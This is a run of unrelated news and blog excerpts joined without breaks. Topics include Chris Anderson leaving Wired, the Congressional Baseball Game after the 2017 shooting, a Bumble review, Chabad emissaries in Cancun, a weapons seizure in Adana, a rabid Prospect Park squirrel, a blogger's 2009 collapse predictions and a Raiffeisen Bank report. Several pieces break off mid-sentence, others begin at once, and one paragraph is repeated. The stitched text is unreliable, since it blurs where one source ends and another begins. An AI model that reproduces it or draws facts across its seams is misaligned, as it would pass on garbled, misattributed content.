It's been a long time since we had a Nintendo Download as packed as that. What will you buy this week? As always, let us know in our Facebook poll.After twelve years as Wired’s editor-in-chief, Chris Anderson will depart the magazine at the end of the year to focus full-time on his company 3D Robotics. “Chris joined Wired as editor in chief in 2001. During his tenure, the magazine received eight National Magazine Awards, including the prestigious top prize for General Excellence in 2005, 2007 and 2009,” said Conde Nast in a statement. “This is an opportunity for me to pursue an entrepreneurial dream,” added Anderson. “I’m confident that Wired’s mission to influence and chronicle the digital revolution is stronger than ever and will continue to expand and evolve.”
While the magazine has thrived, Anderson has also gained his own reputation as a brand name, but not without bumps. As New York’s Boris Kachka wrote in this week’s magazine, in an article about the fall of former Wired blogger Jonah Lehrer, Anderson “has himself been caught plagiarizing twice, the second time in an uncorrected proof. The often-absentee editor of a futurist magazine that may be the house journal of the lecture circuit, Anderson makes his living precisely as Lehrer did — snipping and tailoring anecdotal factoids into ready-to-wear tech-friendly conclusions.”
His successor has not yet been named, but already, observers online are calling for a female replacement. In the words of Wired reporter Steve Silberman, “It’s been a boys’ club for too long.”That has been the overwhelming bipartisan conclusion of the American lawmakers who took the diamond for Thursday night's annual Congressional Baseball Game at Nationals Park, especially in the wake of the tragedy that shook Washington on Wednesday morning. The game is streaming live on MLB.com and Facebook.com/MLB.
It was decided that the game would go on because the game must go on, and it has never been more important for it to be played than it is tonight.
It was decided that the game would go on because the game must go on, and it has never been more important for it to be played than it is tonight.
That has been the overwhelming bipartisan conclusion of the American lawmakers who took the diamond for Thursday night's annual Congressional Baseball Game at Nationals Park, especially in the wake of the tragedy that shook Washington on Wednesday morning. The game is streaming live on MLB.com and Facebook.com/MLB.
The horrific event took place at a field in Alexandria, Va., when Republican members of Congress, their staff members and Capitol police on security detail were attacked by a gunman as they practiced for tonight's game.
Five people were wounded in the shooting, including House Majority Whip Steve Scalise from Louisiana, who was in critical condition as of Thursday morning after being shot in the hip. The gunman, James T. Hodgkinson III, died after a shootout with Capitol Police officers Crystal Griner and David Bailey, both members of Scalise's security detail who were also wounded.
That afternoon, leaders of Congress held a tearful private briefing, and when it was announced that the game would go on for the 108th consecutive year as planned, the lawmakers rose in unison and applauded, according to various reports.
Tweet from @MEPFuller: The congressional baseball game is on for tomorrow night.Members gave that news a standing ovation.
"All of us are really shaken by this," Rep. Jan Schakowsky, a Democrat from Illinois, told the Chicago Tribune while leaving the meeting. "There was an incredible tone of unity. And all of us need to take the responsibility for the tone and for the fact that we are one in terms of our love for our country and our vulnerability.
"And we need to stand together as Democrats and Republicans."
Tonight, they're doing that at the game, which has been played at the ballpark of the hometown Nationals for the past nine years and attracted an estimated crowd of 10,000 last year. This time, in a tribute to Scalise, an alumnus of Louisiana State University, members of both Congressional teams planned to wear some form of LSU's purple and gold.
The tribute was reportedly organized by Rep. Roger Marshall (Kansas), and LSU athletic director Joe Alleva told NOLA.com that the school has sent hats, towels, shirts and hats to the Congressmen to wear tonight. LSU recently qualified for the College World Series and is set to face Florida State on Saturday night.
"Scalise was always decked out head-to-toe in LSU gear," Marshall's spokesman, Eric Pahls, told the Independent Journal Review. "This is time for all of us to show that we stand with him."
Tweet from @maryaliceparks: Im told members of congress from both teams/parties playing in Congressional bball game tomorrow will wear LSU gear to honor Whip Scalise
Major League Baseball has been a longtime supporter of the Congressional Baseball Game, which is not only a break from the daily grind of D.C. politics but also serves as an important fundraiser. Proceeds from ticket sales of this year's event will benefit the Boys & Girls Club of Greater Washington, The Washington Literacy Center, and the Washington Nationals Dream Foundation.
"Our thoughts and prayers go out to Representative Steve Scalise, Congressional staff, U.S. Capitol Police and all those who were impacted by today's senseless violence at a baseball field in Alexandria, Virginia," MLB Commissioner Rob Manfred said on Wednesday.
"Both teams have been practicing for weeks in preparation for the game at Nationals Park and we fully support the decision to play the game. We look forward to a full recovery for each of the victims and hope that [Thursday] night's game can play a constructive role in the healing process."
• Justice: Congressional ballgame brings sides together
The news of the shooting struck close to the Nationals, too. The team released its own statement almost immediately, saying, "This bipartisan event shows baseball's power to bring people together. Our thoughts and prayers are with those wounded today and their families."
Star outfielder Bryce Harper offered his support in a tweet: "My thoughts and prayers are with the victims and their families effected by the senseless act of violence at the Congressional Baseball Practice!"
Tweet from @Bharper3407: My thoughts & prayers are w/ the victims & their families effected by the senseless act of violence at the Congressional Baseball Practice!
And Nationals manager Dusty Baker, who lives in Alexandria during the season and visited the Capitol recently to have lunch with the Congressional baseball team managers -- Rep. Joe Barton (R-Texas) and Rep. Mike Doyle (D-Pa.) -- also expressed his dismay.
"It's a sad state of affairs," Baker said. "I told my family: You always have to be aware of your surroundings, because you never know. Especially in crowds. Especially where there are important people around.
"We always see things happening from afar, but there are things happening domestically, too. I don't know what the answer is. It's just sad when innocent people get hurt."
Video: Dusty Baker discusses the tragedy in Virginia
But strength in the face of adversity, unity as a country, an the great game of baseball will be on display tonight, and the players will take their positions with pride.
Tweet from @RepSwalwell: The #congressionalbaseballgame is on. We will play for charity, but also for the victims & the heroic officers who took down the shooter.
"We're united not as Republicans and Democrats but as United States representatives," Barton said Wednesday. "It will be, 'Play ball.'"Bumble Dating apps are having a moment.
Match Group, the parent company of Tinder, PlentyOfFish, Match, HowAboutWe, and OkCupid, filed to go public recently. According to its IPO prospectus, it generated revenues of $888.3 million last year, up about 11% year-over-year.
And JSwipe, a popular dating app aimed at Jewish people, was recently acquired by its competitor, JDate.
In light of all this news, I spent a week trying out a bunch of different dating apps to compare notes.
In case you haven't read it in full, here's the abbreviated version of my findings: Tinder is mindless, but fun. Hinge feels less sketchy because you get matched up with your Facebook friends' friends. JSwipe is cool if you're religious (I'm not). OkCupid proved itself to be nothing but a barrage of unwanted and often gross messages.
I was completely surprised by the app I liked the most.
Bumble is often described in the press as a "feminist" dating app. I'm not sure it's feminist as much as it simply reverses gender roles and makes women make the first move. I was expecting to hate it (I am lazy, so the idea of an app with the premise of me having to send a ton of messages was unappealing), so I put it off and reviewed it last intentionally.
The most annoying part about dating apps is breaking the ice. I have a hundred matches sitting in my Tinder app who I haven't talked to for this reason alone — nobody wants to make the first move, or have their opening line derided for being lame, or be ignored for being unimaginative.
Swipe right. Screenshot Dating apps, for their part, have tried combating this in a number of ways. JSwipe puts a timer on how long you have to start talking to a match. Wait too long and your match disappears forever. Coffee Meets Bagel gives you and your match an opening question to break the ice. And so on.
From Tinder to Bumble
Bumble was co-founded by Whitney Wolfe, the ousted Tinder cofounder.
Before deciding to launch a dating app, Wolfe wanted to launch an Instagram competitor. Andrey Andreev, the cofounder of Badoo who would later help Wofe found Bumble, convinced her to think about the dating space again.
"I wanted to do something that would promote a responsible user online. There's a lot of room to be negligent and nasty to each other," Wolfe told Business Insider earlier this year. "I figured, whatever I do next I want to narrow that down. I wasn't going to do it in the dating space at all."
How it works
Bumble works like this: you download the app, set up your profile, and start swiping. If you mess up and accidentally swipe left when you mean to swipe right — swipe right meaning that you're interested in someone — you can shake your phone to undo it. The user interface isn't clunky, and it's easy to use.
Whitney Wolfe, co-founder of Tinder and founder of Bumble Whitney Wolfe Both men and women swipe, but only women can start the conversation, and they only have 24 hours from the time they match to start chatting before the connection disappears forever.
For people seeking same-sex relationships, the app doesn't exactly work the way it's intended to; either party can send the first message.
One strange thing I noticed on Bumble is that I saw a lot of friends and coworkers on the app within the first few minutes of using it. I'm not sure why this happens, but it was almost a turnoff — it's supposed to be a discovery service, so I don't want to see people I already know. Two friends also told me this has happened to them.
The most annoying thing about Bumble is the notifications. The app lets you know when a match is about to expire, presumably so you can rush in and send that person a message before they slip through your fingers and disappear forever. You can turn off the notifications, though, as I discovered a couple days in.
Minutes into my Bumble experience, I quickly realized I'd have to start talking to the guys I matched with, otherwise things wouldn't go anywhere. So despite being intimidated, I sent a few messages, and based on my experiences on Tinder — where I'd get messages from guys and rarely respond — I assumed the same thing would happen to me.
Wrong! Three responses in ten minutes. Of course, the more messages you send, the more you'll receive, but nearly everyone I've sent a message to has responded quickly.
Turns out guys like Bumble because they like not having the pressure of initiating a conversation. And it makes conversations more thoughtful — starting every conversation with "Hey! How's your weekend going?" gets stale after a while.
Anecdotal evidence isn't always much to go off of. But two of my friends and I have gone on a collective 13 dates in the past month courtesy of Bumble, so something about the app seems to be working.If your car is a diesel, it will run. Liquid hydrogen, the fuel that powered the space shuttle's main engines, could work, says Manuel Martinez-Sanchez, an aeronautics and astronautics professor at the Massachusetts Institute of Technology. But keeping hydrogen liquid requires maintaining it at a temperature below about –432°F. Storing it in a garage would be tricky, as would keeping it from freezing the engine.
RP-1 would work even better. A kerosene fuel developed in the 1950s as a more efficient alternative to alcohol-based rocket fuels, RP-1 powered the Soyuz and Falcon 9 spacecrafts. "It's a close relative of diesel fuel, so there is no real problem using it in diesel engines," Martinez-Sanchez says. "The only special thing about RP-1 is a lower volatility and a higher viscosity, so the engine might not run well on cold days," he says.
RP-1 probably isn't worth the trouble, though. Rocket fuel is less efficient than gas, and it wouldn't even make a car go any faster.
This article originally appeared in the January 2012 issue of Popular Science_ magazine._If you're thinking of buying a new Android smartphone, 2015 is shaping up to be great. We're seeing unlocked phones that deliver an excellent Android experience from plenty of vendors, and some — like the Alcatel Idol 3 — are doing it at a price-point that won't break your budget. The hardest part about buying a great unlocked Android phone is deciding which one to choose. That's a very good situation to be in from a consumer standpoint. And something we can help you with. I've put away the expensive phones over the past month and am using these budget-friendly unlocked phones full-time. The Alcatel Idol 3 is one I can heartily recommend, and here's a few reasons why.
The screen
While it might not be the best screen you'll find on an Android phone, it's the best screen you'll ever see on a phone that doesn't cost $500 or more. It's a crisp 5.5-inch LCD at 1080p (that's 401 pixels per inch), has great viewing angles and excellent color. It looks great indoors or out, and you won't be disappointed. You wouldn't expect a screen this good on a phone this affordable.
The software
Fluid and responsive software is a key to the best user experience. The Idol 3 may not be packed with a million and one features and functions, but everything is done well and the "stock" software is great to use. Alcatel has also been quick with the updates to their version of Lollipop, which is important to a lot of us. If you're looking for a phone that doesn't give you that cluttered feel, and does what it was designed to do very well, you've found it in the Alcatel Idol 3.
It feels good to hold
While the Idol 3 is made of plastic, and you can feel that it's made of plastic, the design and construction make it great to hold. The edges are sloped and beveled, so that you really don't feel any hard angles when the Idol 3 is in your hand. The camera is flush with the back, and the power and volume controls extend just enough to make them easy to find and use without snagging on things as it enters and leaves your pocket. Little things like this make a difference — especially when a phone is something that many of us have in our hands all day.
It sounds good
Alcatel teamed up with JBL to provide a Premium sound experience for the Idol 3. The audio from the dual front-facing speakers is crisp, plenty loud enough, and really does deliver on the premium promise. From podcasts to shredding guitars to thumping bass, the Idol 3 sounds great when you don't want to use a pair of headphones. But please, don't be that person on the bus who doesn't use headphones.
It won't break the bankCANCUN, Mexico — “Thank you for showing my children their daddy isn’t crazy,” Rabbi Mendel Druk told fellow celebrants at Shmini Atzeret, the holiday marking the end of Sukkot. The energetic Israelis who danced with Torah scrolls and the rabbi’s kids made for an experience “we wish the children could have every year,” his wife, Rachel, said. “Sometimes the children watch their dad dance on his own, like a crazy person. When there are others doing it, they understand it’s a Jewish — not a crazy — thing. Something others do.”
A few days earlier, in the middle of Sukkot, Druk had sat down with The Times of Israel for a talk about the life he and his wife chose for themselves, and for their children, six years ago. Living as the only ultra-Orthodox Jews in Cancun, Mexico, is “not always easy, but it’s what we need to do,” he stated simply. Like thousands of other Chabad emissaries around the world, the two have a sense of purpose: “We’re on a mission.”
“A wise man once told me that if I want to succeed in my job, I need an office, but that I should spend most of my time out of it,” he said, and apologized for arriving a few minutes later than he had hoped. “I was at the hotel zone, where Jewish tourists and workers wanted to use the sukkah and Arba Haminim” (Four Species).
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The sukkah, it should be noted, was mounted on a truck so it could be driven around the city.
A life-changing decision
When Mendel and Rachel Druk arrived in Cancun, they had many ideas about how to act as Chabad emissaries. Today, many of their plans have been realized: classes for local families and businessmen, meals for visitors, a summer camp and providing assistance for travelers in need. Behind the scenes, however, things aren’t always simple — though helping people get out of a Mexican prison can be interesting.
Originally, the two planned on journeying to Chengdu, China, but a letter signed by a handful of Jews from the coastal Mexican city caused them to change their plans. At the beginning of 2006, they, with baby Mushka, moved and opened Cancun’s Lubavitch Jewish Center, where they “could help and teach Jews and non-Jews” in the popular party town on the Caribbean shore.
Living as a family on shlichut — the Hebrew phrase used by Chabad for the job, literally meaning “mission” — was always a given for the couple. “Though it wasn’t the first question, we spoke about it in the first hour of our first date,” Mendel, a 30-year-old from Detroit, said.
He recalled the first days in their new home: “Our [shipped] container — holding about 1,000 Jewish books and all the furniture for our home — was held unjustly after arriving at the wrong port. Even though it was paid for, they demanded more money.” Years later, they still don’t have those items. In addition, “the oven exploded on the Wednesday before the first Shabbat, and Rachel was rushed to hospital. Thank God, she wasn’t hurt badly.”
Nonetheless, with plastic chairs from a nearby supermarket and a very basic amount of food, they prepared to welcome the Jewish day of rest. That was when a group of about a dozen Israelis arrived to celebrate the Friday night meal with them. “It was one of the best experiences of my life,” he said.
One family’s stories provide insight into the lives of the thousands of Chabad emissaries around the world
Rachel, Mendel and their three children have stories that provide insight into the lives of the thousands of Chabad emissaries around the world. These families give up the comfort of “normal” life in order to spread the ideas and spirit of the late Rabbi Menachem Mendel Schneerson, also known as the Lubavitcher Rebbe, the seventh leader of Chabad.
The first emissaries were sent to Morocco in the early 1950s, and thousands have embarked on their own journeys since. “Everything — making a kitchen kosher, conducting a wedding, teaching, hosting meals — we do it all,” said Druk.
At the organization’s annual gathering next week in Brooklyn, some 5,000 Chabad emissaries, from all around the globe, are scheduled to meet. “There is no hall large enough to seat us all,” Mendel said with a smile. “The [Troop C] Armory is cleared out and turned into a nice place. It’s the only place that can host the gathering.”
The decision to become emissaries is lifelong. “No shaliah [emissary] has ever been replaced. Once you have a community, it’s a bond for life,” Mendel explains.
After a moment, he corrects himself: “There were a few who changed location, but I can count them on my fingers. Most of them were old, and their communities had emptied out of Jews.”
Raising ultra-Orthodox children in Cancun
Fulfilling a dream and moving to places considered the end of the world by many Orthodox Jews may sound like fun, but it’s not always simple for the couple. “One of the most serious questions revolves around the children,” Druk said. Educating them in an environment “very different” from the family’s lifestyle “can be hard and complicated.”
‘I wish Gavi would get to see a sukkah at another family’s home,’ Rabbi Druk says
There are no other families in Cancun who keep kosher to the level practiced by Chabad, so the Druk children don’t eat in other homes.
“It was very hard at first,” Druk said. With time, other parents “started making sure that at birthday parties, there would be something for Mushka, but it’s still difficult.”
Still, last month, Cancun’s first kosher restaurant opened: a fish-and-chips place named “Dag Dag” and run by a British couple and supervised by Druk.
It’s not only “technical” matters that make raising a family hard here. There is no school fit for 5-year-old Mushka or 3-year-old Gavriel Noach. “Chabad stepped up to this challenge and provided a very good online school,” their father explained.
The online school serves thousands of children in the same situation. “Mushka learns with children from a number of countries. They’re not only classmates, but also friends; they talk over Skype and email each other,” Druk said.
Even though it’s not the same education given in Brooklyn or central Israel’s Kfar Chabad, “the Internet and technology make that part of our decision easier.”
“I wish Gavi would get to see a sukkah at another family’s home,” Druk said, a few days before thanking the Israelis who danced with his children. The toughest part about the job is that “you’re always doing things on your own.” For a couple who chose their lifestyle because of community-shaped childhood experiences, trying to re-create those feelings for their children is a daily task. Especially when the holidays are the time they’re needed most in the community.
Helping — and rescuing — Jews
Some of the most interesting stories told by Druk involve the rescue of a Jewish girl from a rural Mexican village, and knowing the right people to help Israelis and Jewish-American tourists when they are hassled by the authorities, or even arrested.
‘There is a lot of ignorance about Israel,’ the rabbi says. ‘People don’t know much, and what they know is usually wrong and distorted’
“You can really save lives,” the rabbi said when retelling one such story.
“Without going into details,” he went on, “one Jewish-American was released after almost five months in a local jail.”
To protect those involved he didn’t use names, but said he’s “lucky to have non-Jewish friends who are willing to help.”
Most of the days are more routine, and involve working with those who live in the city year-round. “There are a few hundred Jews in Cancun. Some of them are from the [50,000-strong] community in Mexico City, and others are from around the world.”
One community member is a doctor who provides Jewish travelers with good medical treatment. “It doesn’t matter what time of day — I can call him and he’ll help,” Druk said. “If he can’t help, he’ll make sure the right doctor does.”
There are others who help the Druks, and they are grateful. “Every Chabad house funds itself,” he explained. Nothing is a given, and everything is based on donations and the kindness of others. “One local Jew won’t say a single blessing or do anything that has to do with Judaism, but he’ll always help me when I need to get something done,” Druk said.
Rachel takes care of baby Sara and runs a school for Jewish children, which more than a dozen students attend on a regular basis. “One mother lives with her child on an Island three hours from Cancun, but makes the journey almost every week,” the 26-year-old from Brooklyn explained, then stressed that “for those who want a Jewish education, it’s the only option.” In addition to the weekly class, the couple ran a camp this summer with some 30 children.
The Druks also work with the adults who live in town. There are classes on a range of topics, for men and for women. The rabbi also has a weekly session with someone who wants to study Talmud. “There are others with whom I study as well. Some of them like reading the texts with me, while others use the text as an excuse to talk,” he smiled.
Rachel talks with the women, and teaches them about the Jewish rituals traditionally taken care of by females, such as lighting candles before Shabbat. Ahead of holidays, she also helps them make traditional food, or bake challah. “During the past month, I baked over 200 rolls of challah” for her own family and many guests, she laughed.
Working with non-Jews
A significant amount of the rabbi’s time is spent with non-Jews. He gives classes at schools about Judaism and Israel. “On the eve of Sukkot, I gave a class at a Christian school,” he said. “I forgot to cancel it in time, but then I was happy to talk to them. The holidays of the Tishrei [the Jewish month in which the high holidays fall] are ones that people of all backgrounds can relate to... The students were fascinated.”
“There is a lot of ignorance about Israel. People don’t know much, and what they know is usually wrong and distorted. I try to change that when I speak at schools,” the rabbi said. At home, in addition to studying Jewish texts, he makes a point of reading about the history of Israel and biographies of the country’s leaders, such as David Ben-Gurion and Menachem Begin. When he talks at the Shabbat table, Druk tells stories about them alongside tales about Schneerson.
Druk also works with non-Jewish adults. “Mexico is a very Catholic country, and they want to learn about the Jewish traditions,” he explained. “One of my friends opened a house for teaching about the seven rules of the sons of Noah.” According to rabbinic tradition, the descendants of Noah — meaning all of humanity — are obligated to fulfill seven practices, such as not eating the limb of a live animal and building a just legal system.
A minyan by the Coco Bongo
While six years on the job may sound like a long time, Mendel and Rachel Druk know that it’s just the start. “There are people in their 60s and even 70s doing this job, and they’ve been doing it for decades,” he said.
At the moment, they have an agreement with a few hotels in the city where they rent space for events. On Rosh Hashanah, they hosted more than 150 people, but the largest holiday in Cancun is Passover, when the place overflows with American and Canadian tourists. “We usually have three hotels with their own seder,” the rabbi said. “We can’t host the hundreds in one room, and there are enough to spread them out.”
In the future, they hope to finish building their own place. Israel’s chief Sephardi rabbi, Shlomo Amar, was the guest of honor at a ceremony unveiling the cornerstone of the planned Chabad center. “It will be a few stories high, and have a synagogue, mikveh, large kitchen, dining hall and guest rooms,” Druk said. “It will also be our new home, with our own rooms, ” to make life easier for the family.
While the center’s location, at “the bend” in the hotel zone, is ideal for its proximity to tourists, one cannot help but wonder whether there is symbolism in erecting such a building only a few minutes from the world-famous Coco Bongo, a club that many say is a modern “Sodom and Gomorrah.”
The Druks smile unconcernedly when they talk about the two places and the very different cultures and ideas they represent. “Many people go to the Coco Bongo,” the rabbi said. “Maybe they’ll help us with a minyan on their way.”Truck full of heavy weapons seized near Syrian border in Adana
ADANA - Doğan News Agency
DHA photo
A cargo truck full of rocket heads, bazookas, missiles, bombs and guns has been seized in the southern province of Adana, which is not far from the Syrian border.A total of 1,200 rocket warheads were seized, according to Gov. Hüseyin Avni Coş.Adana police teams discovered the weapons in the early hours of Nov. 7, after pursuing the truck initially on suspicions that it was carrying drugs.The truck, which had a Konya license plate, was confiscated after it arrived at a metal industrial site, where the police were waiting.Escorted by bomb disposal specialists, anti-terror teams brought the truck to a police station in the city.The truck will reportedly be unloaded at the station, before an inventory registry of the weapons is conducted.The driver of the truck has been detained, and an investigation has been launched.NEW YORK (CBSNewYork) – Authorities want to warn the public about a potentially rabid squirrel running rampant in Prospect Park.
Five people have already been bitten, possibly more.
As CBS2’s Jessica Borg reported, families who filled the park on this sunny Saturday found unusual flyers by the entrance, warning park goers about the recent attacks by a particularly aggressive squirrel.
“I wouldn’t feed it any nuts,” one man said.
“I think that’s very crazy. What do we do about that? Because it’s a park and we can’t kill all the squirrels,” a woman said.
Five people were bitten near the Parkside and Ocean Avenue entrance between Tuesday and Thursday.
The New York City health department urges any visitors that were bitten in the area since July 10 to get checked by a doctor immediately. If your pet has been bitten, get it to the vet.
Officials say squirrels are rarely infected with rabies, but because of the unusually aggressive behavior, they’re assuming the animal is rabid, Borg reported.
The deadly rabies virus is transmitted through the saliva of an infected animal.
While the search is on for this specific squirrel, experts say it’s likely that if it’s rabid, it’s already dead.
Christopher Williams visits the park often and said he’s not surprised.
“You are in a park. There is wildlife still out here,” he said.
Health officials say they have not identified any other rabid animals in the park, nor in any other parts of Brooklyn so far this year.
Mother of two Elizabeth Mangum said her guard is always up.
“The squirrels here are aggressive actually. People here feed them, and they come up to the picnic tables,” she said.
People are urged not to feed any animals in the park. Most squirrel bites happen when someone tries to feed one and gets too close.Shoot-to-kill order after school knifings
Updated
A Chinese city has ordered police to shoot to kill anyone attempting to harm school students following a spate of violent attacks against children that have stunned the nation, state press said.
The south-west municipality of Chongqing, a city of more than 30 million people, issued the order after China's public security ministry called for stepped-up security around schools and kindergartens nationwide.
"The police have clear regulations in these odious cases where direct attacks occurring at or in the vicinity of schools have injured students or children," the Chongqing Evening News reported.
"If they cannot contain the violent acts, police can shoot to kill in accordance with the law."
The order comes after a series of attacks on children last week.
On |
2. By the end of the year, there will begin to be runs on preparedness equipment and food storage, a la Y2K.
- It wasn’t quite as dramatic in the equipment department as Y2K, although woodstoves and electric bikes were backordered like crazy. But the big story was people fighting over bags of rice at Costco and other stores back in the spring. And unfortunately, for other reasons, I think we may see this one again. Called it.
3. The NeoCons will not go gently into that good night – there will be at least one serious surprise for us. G-d willing, it won’t involve the word “nukuler” or any of its cognates.
- I’d give myself 50% on this one – I think the build up with Russia was indeed a final Neo-con attempt to make themselves seem like the best answer to a scary world (and Alaska as our DMZ), but it wasn’t as dire as I feared.
4. Hillary will not win the 2008 election. Neither, despite all the people who keep sending me emails saying he will, will Ron Paul.
- Got it.
5. The economy will tank. Yup, I’m really going out on a limb here.
- Got it.
6. Many of us will find we are being taken more seriously than we ever expected. We will still be taken less seriously than any celebrity divorce, however.
- This was certainly true for me – I don’t really know how John Michael Greer, Kunstler and Orlov, for example, felt about it, but I was surprised at how seriously my predictions were taken, and how few people thought I was over-reacting, even when doing, say ABC affiliate radio interviews. But, of course, there are limits to seriousness - fairly few people really critiqued the worldview, but comparatively few people paid attention, either.
7. We’ll see food riots in more nations and hunger will increase. The idea of Victory Gardens won’t seem so crazy anymore.
- Yup. 31 nations and counting had some form of food riot this year. And Michael Pollan wrote “Farmer in Chief” and the “White House Farm” idea hit the blogosphere.
8. The biofuels craze will begin to be thought the better of – not in time to prevent the above.
- Called it. The collapse of oil prices of course is doing its own work, but even before that, we were finally seeing serious questioning of the premise of biofuels hit national discourse, at least in Europe.
9. We will see at least one more image of desperate people, walking out of their city becuase there’s no other alternative. And a lot of images of foreclosures.
Part one of this is the only one I got wrong, and that only partly. People were walking out of Houston, and a whole lot of people were walking around looking for Gas in Memphis and Atlanta, but it didn’t quite have the resonance of Katrina or 9/11 – the media wasn’t paying attention, so it wasn’t the kind of iconic image that I was expecting. The second part I called.
10. TEOTWAKI, if it ever happens, will be delayed long enough for my book to be released this fall and to make back at least the advance, so my publisher won’t have any reason to try and sue me.
- I’m not sure, but I think I might have actually made back my advance by now (all 4K of it), and my publisher is still in business. Who knows, I might actually make a pittance!
Ok, what about the coming year? While I think 2008 was when most people first realized something was wrong, I’m going to go out on a limb here (ok, not a huge limb, but a limb) and say that 2009 will be the year we say that things “collapsed.” I don’t think we’re going to make it through the year without radical structural changes in the nature of life in most of the world. I’m calling it, a la Yeats’s “Second Coming” the “The Year ‘Its Hour Come Round at Last’”
What do I mean by collapse? We throw that word around, but it is easy to misunderstand. I mean that the US is likely to undergo a financial collapse a la the Great Depression - widespread unemployment, lots of people facing hunger, cold and the inability to get health care, a disruption of what we tend to assume are birthright services, and a sense that the system doesn’t work anymore. I don’t claim that we are headed by Thursday to cannibalism, however – what I think will be true is that we will often do surprisingly well in the state of collapse, as hard as it is.
In previous years, I was fairly lighthearted about my predictions – this year, I don’t find it possible to be. I really hope I’m wrong about this. And I hope you will make decisions based on your own judgement, not mine. These are predictions, the results of my analysis and my intuitions, and sometimes I’m good at that. But I do not claim that every word that comes out of my mouth or off my keyboard is the truth, and you should not take it as such. You are getting this free on the internet – consider what you paid for it, and value it accordingly.
1. Some measure of normalcy will hold out until late spring or early summer, mostly based on hopes for the Obama Presidency. But by late summer 2009, the aggregate loss of jobs, credit and wealth will cause an economic crisis that makes our current situation look pretty mild. With predictions of up to a million jobs lost each month, there will simply come a point at which the economy as we understand it now cannot function – we will see the modern equivalents of breadlines and stockbrokers selling apples on the streets.
2. Many plans for infrastructure investments currently being proposed will never be completed, and many may never be started, because the US may be unable to borrow the money to fund them. The price of globalization will be high in terms of reduced availability of funds and resources – despite all the people who think that we’ll keep building things during a collapse, we won’t. We will have some variation on a Green New Deal in the US and some nations will continue to work on renewable infrastructure, but a lot of us are going to be getting along with the fraying infrastructure, designed for a people able to afford a lot of cheap energy, that we have now. The most successful projects will be small, localized programs that distribute resources as widely as possible.
I pray that we will have the brains to ignore most other things and set up some kind of health care system, one that softens the blows here. If not, we’re really fucked – the one thing most of us can’t afford is medical care as it works now in a non-functioning economy. Unfortunately, my bet is that we don’t do something about this, but I hope to God I’m wrong.
3. 2009 will be the year that most of the most passionate climate activists (and I don’t exclude myself) have to admit that there is simply not a snowball’s chance in hell (and hell is getting toastier quickly) that we are going to prevent a 2C+ warming of the planet. We are simply too little, too late. That does not mean we will give up on everything – the difference between unchecked emissions and checked ones is still the difference between life and death for millions – but hideously, regretfully and painfully, the combination of our growing understanding of where the climate is and the economic situation will force us to begin working from the reality that the world we leave our children is simply going to be more damaged, and our legacy smaller and less worthy of us than we’d ever hoped.
4. 2008 will probably be the world’s global oil peak, but we won’t know this for a while. When we do realize it, it will be anticlimactic, because we’ll be mired in the consequences of our economic, energy and climate crisis. Lack of investment in the coming years will mean that in the end, more oil stays in the ground, which is good for the climate, but tough for our ambitions for a renewable energy economy. Over the long term, however, peak oil is very much going to come back and bite us all in the collective ass.
5. Decreased access to goods, services and food will be a reality this year. Some of this will be due to stores going out of business – we may all have to travel further to meet needs. Some will be due to suppliers going under, following the wave of merchant bankruptcies. Some may be due to disruptions in shipping and transport of supplies. Some will be due to increased demand for some items that have, up until now, been niche items, produced in small numbers for the small number of sustainability freaks, but that now seem to have widespread application. And some may be due to deflation - farmers may not be able to harvest crops because they can’t get enough for them to pay for the harvest, and the connections between those who have goods and those who need goods may be thoroughly disrupted. Meanwhile, millions more Americans will be choosing between new shoes and seeing the doctor.
6. Most Americans will see radical cut backs in local services and safety nets. Funding will simply dry up for many state and local programs. Unemployment will be overwhelmed, and the federal government will have to withdraw some of its commitments simply to keep people from starving in the streets. Meanwhile, expect to see the plows stop plowing, the garbage cease to be collected, and classrooms to have 40+ kindergarteners to a class – and potentially a three or four day school week.
7. Nations will overwhelmingly fail to pony up promised commitments to the world’s poor, and worldwide, the people who did the least harm to the environment will die increasingly rapidly of starvation. This will not be inevitable, but people in the rich world will claim it is.
8. We will finally attempt to deal with foreclosures, but the falling value of housing will make it a losing proposition. Every time we bring the housing values down to meet the reality, the reality will shift under our feet. Many of those who are helped will end up foreclosed upon anyway (as is already the case) and others will simply see no point in paying their mortgage when, by defaulting, they could qualify for lowered payments (as is already the case). Ultimately, the issue will probably self resolve in either some kind of redistribution plan that puts people in foreclosed houses with minimal mortgaging, with foreclosures dragging down enough banks that people find it feasible to simply stop paying mortgages that are now unenforceable, or with civil unrest that leads people simply to take back housing for the populace. I don’t have a bet on which one, and I don’t think it will be resolved in 2009.
9. By the end of the year, whether or not we will collapse or have collapsed will continue to be hotly debated by everyone who can still afford their internet service. No one will agree on what the definition of collapse actually is, plenty of people will simply be living their old lives, only with a bit less, while others will be having truly apocalyptic and deeply tragic losses. Some will see the victims as lazy, stupid, alien and worthless, no matter how many there are. Others will look around them and ask “how did I not see that this was inevitable?” Many people will be forced to see that the poor are not a monolith of laziness and selfishness when they become poor. We will know that we are in our situation only in retrospect, only in hindsight – our children will have a better name for the experience than we will, caught up in our varied personal senses of what is happening Meanwhile, each time things get harder most of us will believe they are at the bottom, that things are now “normal” and adapt, until it becomes hard to remember what our old expectations were.
10. Despite how awful this is, the reality is that not everything will fall apart. In the US, we will find life hard and stressful, but we will also go forward. People will suck a lot up and retrench. It will turn out that ordinary people were always better than commentators at figuring out what to do – that’s why they stopped shopping even while people were begging them to keep buying. So they’ll move in with their siblings and grow gardens and walk away from their overpriced houses, or fight to keep them. Some of them will suffer badly for it, but a surprising number of people will simply be ok in situations that until now, they would have imagined were impossible to survive. We will endure, sometimes even find ways of loving our new lives. There will be acts of remarkable courage and heroism, and acts of the most profound evil and selfishness. There will be enormous losses – but we will also discover that most of us are more than we think we are – can tolerate more and have more courage and compassion than we believe of ourselves.
An early Happy New Year, everyone. May you know better than you deserve and see others at their best in these hard times.
Sharon* Says primary goal is 12 percent core capital ratio
* CEO says could imagine 20-25 pct payout ratio
* Shares rise more than 9 pct on revamp plan (Adds quotes and background)
By Michael Shields
VIENNA, Feb 10 (Reuters) - Raiffeisen Bank International will put strengthening its capital position ahead of dividend payouts, it said on Tuesday, as emerging Europe’s second-biggest lender scales back following decades of expansion in central and eastern Europe.
The revamp will see the Austrian bank sell operations in Poland and Slovenia and cut back in Russia in a drive to boost a key capital target to 12 percent of risk-weighted assets (RWAs) by the end of 2017 from 10 percent now.
Raiffeisen shares, which hit record lows last month amid concerns about its financial strength, rose as much as 9.2 percent and were up 7.5 percent at 12.245 euros by 1410 GMT, within a bank sector index up 0.6 percent.
